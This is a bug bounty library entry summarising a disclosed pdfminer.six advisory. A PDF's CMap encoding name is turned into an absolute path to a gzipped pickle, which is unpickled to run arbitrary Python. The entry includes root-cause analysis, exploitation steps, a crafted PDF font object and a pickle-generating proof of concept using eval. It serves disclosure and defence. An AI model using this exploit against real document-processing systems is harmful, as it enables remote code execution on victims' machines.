# Arbitrary Code Execution in pdfminer.six via Crafted PDF Input

pdfminer.six deserializes attacker-controlled .pickle.gz files referenced by a PDF's /Encoding CMap name, yielding arbitrary Python code execution.

- Payout: Research
- Severity: high
- Program: pdfminer.six
- Found by: mtolley
- Disclosed: 2025-11-07
- CVE: CVE-2025-64512
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-wf5f-4jwr-ppcp
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-wf5f-4jwr-ppcp
- Tags: area:os domain:desktop domain:oss impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:deserialization vuln:path-traversal vuln:rce

**Target:** pdfminer.six CMapDB._load_data / pdf2txt.py PDF processing
**Root cause:** CMapDB._load_data builds a filename from the PDF-supplied CMap name (only stripping NUL bytes), appends .pickle.gz, and passes it to pickle.loads after gzip decompression; an absolute path in the name overrides the cmap directory.
**Steps:**
1. Craft a PDF whose Type0 font has `/Encoding /#2Fpdfs#2Fmalicious` (i.e. `/pdfs/malicious`).
2. Generate a gzipped pickle at the matching path (`/pdfs/malicious.pickle.gz`) whose `__reduce__` returns `(eval, (code,))` to run code on unpickle.
3. Run `pdf2txt.py malicious.pdf`; pdfminer appends `.pickle.gz`, resolves the path, and deserializes the pickle, executing the payload.
**How found:** Code review of cmapdb.py: noticed `_load_data` only strips NUL bytes from the PDF-controlled name, then joins it into a path and calls pickle.loads on the gzip contents — an absolute path bypasses the intended cmap directory.
**Exploitation:** Attacker supplies a malicious PDF plus a malicious pickle file at a known path (Linux: requires file already on target or a writable/known ingestion location; Windows: path can point to a remote WebDAV/SMB share the attacker hosts). On processing, pickle.loads executes arbitrary Python with the process's permissions.
**Insight:** Font/CMap names in PDFs are attacker-controlled strings that get turned into filesystem paths; check any library that maps PDF names to on-disk resources, especially when the resource format is a deserialization sink like pickle.

## Proof of concept (copied exactly from the original report)

**Malicious PDF font object with CMap path**

```
5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj
```

**Python script creating malicious gzipped pickle**

```
#!/usr/bin/env python3
import pickle
import gzip

def create_demo_pickle():
    print("Creating demonstration pickle file...")

    # Create payload that executes code AND returns a dict (as pdfminer expects)
    class EvilPayload:
        def __reduce__(self):
            # This function will be called during unpickling
            code = "print('Malicious code executed.') or exit(0) or {}"
            return (eval, (code,))

    demo_cmap_data = EvilPayload()

    # Create the pickle file that the path traversal would access
    target_path = "./malicious.pickle.gz"

    try:
        with gzip.open(target_path, 'wb') as f:
            pickle.dump(demo_cmap_data, f)
        print(f"✓ Created demonstration pickle file: {target_path}")
        return target_path

    except Exception as e:
        print(f"✗ Error creating pickle file: {e}")
        return None

if __name__ == "__main__":
    create_demo_pickle()
```

